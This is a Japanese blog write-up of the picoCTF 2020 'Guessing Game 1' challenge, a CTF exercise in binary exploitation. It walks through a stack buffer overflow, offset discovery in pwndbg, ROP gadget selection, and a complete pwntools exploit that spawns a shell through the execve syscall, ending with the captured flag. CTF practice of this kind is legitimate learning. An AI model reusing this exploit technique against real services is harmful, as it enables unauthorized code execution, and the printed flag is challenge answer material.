Logo

picoCTF 2020 Guessing Game 1 Write up

久々に CTF やったら面白くてまたハマりそうになった。今回 ROPChain の典型問題をやったので記録する。

Last Modified: 2025/08/18



問題のコード

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
        return in + 1;
}

long get_random() {
        return rand() % BUFSIZE;
}

int do_stuff() {
        long ans = get_random();
        ans = increment(ans);
        int res = 0;

        printf("What number would you like to guess?\n");
        char guess[BUFSIZE];
        fgets(guess, BUFSIZE, stdin);

        long g = atol(guess);
        if (!g) {
                printf("That's not a valid number!\n");
        } else {
                if (g == ans) {
                        printf("Congrats! You win! Your prize is this print statement!\n\n");
                        res = 1;
                } else {
                        printf("Nope!\n\n");
                }
        }
        return res;
}

void win() {
        char winner[BUFSIZE];
        printf("New winner!\nName? ");
        fgets(winner, 360, stdin);
        printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
        setvbuf(stdout, NULL, _IONBF, 0);
        // Set the gid to the effective gid
        // this prevents /bin/sh from dropping the privileges
        gid_t gid = getegid();
        setresgid(gid, gid, gid);

        int res;

        printf("Welcome to my guessing game!\n\n");

        while (1) {
                res = do_stuff();
                if (res) {
                        win();
                }
        }

        return 0;
}

Makefile

all:
        gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c

clean:
        rm vuln

戦略

win 関数までいければ buffer overflow の脆弱性があるので return アドレスを書き換えられそう。 win 関数に行くには get_random() で取得された値を当てる必要がある。ブルートフォースで当てることもできるし、今回はシード値がないので毎回同じ値になる。今回は 84 だった。

今回フラグを表示してくれるコードはないので自分で execv を実行してシェルを取得する必要がある。

ここで行き詰ってしまったが、ROP Chain で execv を実行するらしい。 この問題の write up は探せばいくらでも出てくるが、自分の理解を深めるためにあえて write up を書く。 この問題を解くに当たって、以下の記事を参考にした。 https://qiita.com/Koukyosyumei/items/89cf4d061cbe405e56b6

なお、セキュリティ機構は以下の通り。

$ checksec --file=vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          N/A        N/A          1847 Symbols   N/A   0               0               vuln

ROP (Return Oriented Programming) とは

関数リターン命令(RET)を悪用し、任意のコード実行を行う攻撃技法。 基本的に stack 上のコードは実行ができないようになっている (NX ビットが立っている場合) そのため、実行可能な領域にあるコードにジャンプして実行して ret 命令で元に戻ってくるというのを繰り返して任意の処理を行うことができる。 このとき実行するコードを Gadget と呼び、Gadget を chain のように連結することで処理を行う。

exploit

まず return アドレスを書き換えるのに必要な文字数を確認する。 win 関数内の fgets 後に breakpoint を設定。

pwndbg> cyclic 200
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
pwndbg> b *win+49
Breakpoint 1 at 0x400c81
pwndbg> r


Welcome to my guessing game!

What number would you like to guess?
84
Congrats! You win! Your prize is this print statement!

New winner!
Name? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

...

────────────────────────────────[ BACKTRACE ]────────────────────────────────
 ► 0         0x400c81 win+49
   1 0x6161616161616170 None
   2 0x6161616161616171 None
   3 0x6161616161616172 None
   4 0x6161616161616173 None
   5 0x6161616161616174 None
   6 0x6161616161616175 None
   7 0x6161616161616176 None

BACKTRACE からリターンアドレスが書き変わったことを確認。オフセットを確認。

pwndbg> cyclic -o paaaaaaa
Finding cyclic pattern of 8 bytes: b'paaaaaaa' (hex: 0x7061616161616161)
Found at offset 120

オフセットは 120。このオフセット後に ROP Chain を仕込めばコードを実行できる。 つまり、以下のようになる。

|                     |
| Padding (120byte)   |
|                     |
|                     |
|                     |
|---------------------|
|      ROP-Chain      |    
|---------------------|

system 関数があれば /bin/sh を引数にして実行できるが、今回のコードにはなさそう。 ただ、syscall 命令があるのでこれで execv システムコールを実行できる。

execv の引数は以下

execv(const char *path, char *const argv[]);

第一引数に /bin/sh、他は 0 で問題ない。

x86_64 では引数を以下のレジスタに格納する。

引数	第1引数	第2引数	第3引数	第4引数	第5引数	第6引数
レジスタ	   rdi	   rsi	   rdx	   rcx	    r8	    r9

なので rax には execv の番号である 0x3b を入れ、rdi は “/bin/sh\0x00” が格納されたアドレス, rsi は 0, rdx は 0 を入れればよい。

ROPChain に使う Gadget は ROPgadget コマンドで取得できる。 以下のコマンドで ROPchain に必要な情報を大量に出力してくれる。

$ ROPgadget --binary vuln --ropchain

この出力の中に ROP Chain に使えるコードとそのアドレスを出力してくれる。

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

        [+] Gadget found: 0x47ffe1 mov qword ptr [rsi], rax ; ret
        [+] Gadget found: 0x410b93 pop rsi ; ret
        [+] Gadget found: 0x4005af pop rax ; ret
        [+] Gadget found: 0x445690 xor rax, rax ; ret

- Step 2 -- Init syscall number gadgets

        [+] Gadget found: 0x445690 xor rax, rax ; ret
        [+] Gadget found: 0x475320 add rax, 1 ; ret
        [+] Gadget found: 0x475321 add eax, 1 ; ret

- Step 3 -- Init syscall arguments gadgets

        [+] Gadget found: 0x4006a6 pop rdi ; ret
        [+] Gadget found: 0x410b93 pop rsi ; ret
        [+] Gadget found: 0x410602 pop rdx ; ret

- Step 4 -- Syscall gadget

        [+] Gadget found: 0x40138c syscall

- Step 5 -- Build the ROP chain

Step 1 では任意のアドレスに書き込みを行うものである。これを使って “/bin/sh\0x00” を BSS セクションに書き込む。 この時の ROPchain は以下のようになる。

|    address to (pop rax; ret)                 |
|----------------------------------------------|
|         "/bin/sh\x00"                        | 
|----------------------------------------------|
|    address to (pop rsi; ret)                 |
|----------------------------------------------| 
|            .bss                              |  
|----------------------------------------------|
| address to (mov qword ptr [rsi], rax ; ret)  |  
|----------------------------------------------|

pop (レジスタ): ret をすることで、そのレジスタに次のスタックの値を格納し、ret によって再びスタックに帰ってこれる。

次に、execv を実行する。syscall のアドレスは Step 4 のところに記載がある。 ROPchain は以下のようになる。

| address to (pop rdi; ret) |
|---------------------------|
| .bss ("/bin/sh")          |
|---------------------------|
| address to (pop rsi; ret) |
|---------------------------|
|       0x0                 |
|---------------------------|
| address to (pop rdx; ret) |
|---------------------------|
|       0x0                 |
|---------------------------|
| address to (pop rax; ret) |
|---------------------------|
|       0x3b                |
|---------------------------|
| address to (syscall; ret) | 
|---------------------------|

これらをコードに落とし込むと以下のようになる。

from pwn import *

#p = process("./vuln")
p = remote("shape-facility.picoctf.net", 53146)

elf = ELF("./vuln")
rop = ROP(elf)

pop_rax_ret = p64(rop.find_gadget(["pop rax", "ret"]).address)
pop_rsi_ret = p64(rop.find_gadget(["pop rsi", "ret"]).address)
pop_rdi_ret = p64(rop.find_gadget(["pop rdi", "ret"]).address)
pop_rdx_ret = p64(rop.find_gadget(["pop rdx", "ret"]).address)
mov_rsi_rax = p64(0x47ffe1)
syscall = p64(0x40138c)

write_sh = pop_rax_ret + b"/bin/sh\x00" + pop_rsi_ret + p64(elf.bss()) +  mov_rsi_rax

call_execv =  pop_rdi_ret + p64(elf.bss()) + pop_rsi_ret + p64(0) + pop_rdx_ret + p64(0) + pop_rax_ret + p64(0x3b) + syscall

payload = b"a"*120 + write_sh + call_execv

p.recvuntil(b"What number would you like to guess?\n")
p.sendline(b"84")
p.recvuntil(b"Congrats! You win! Your prize is this print statement!\n\n")
p.recvuntil(b"New winner!\n")
p.recvuntil(b"Name? ")
p.sendline(payload)
p.interactive()

ROPgadget コマンドで出力されたアドレスを使ってもよいが pwntools の rop.find_gadget からもアドレスを取得できる。

実行

$ ls
Dockerfile
Makefile
Makefile.share
Solution
flag.txt
start.sh
vuln
vuln.c
$ cat flag.txt
picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_b60859a7b4193d0e}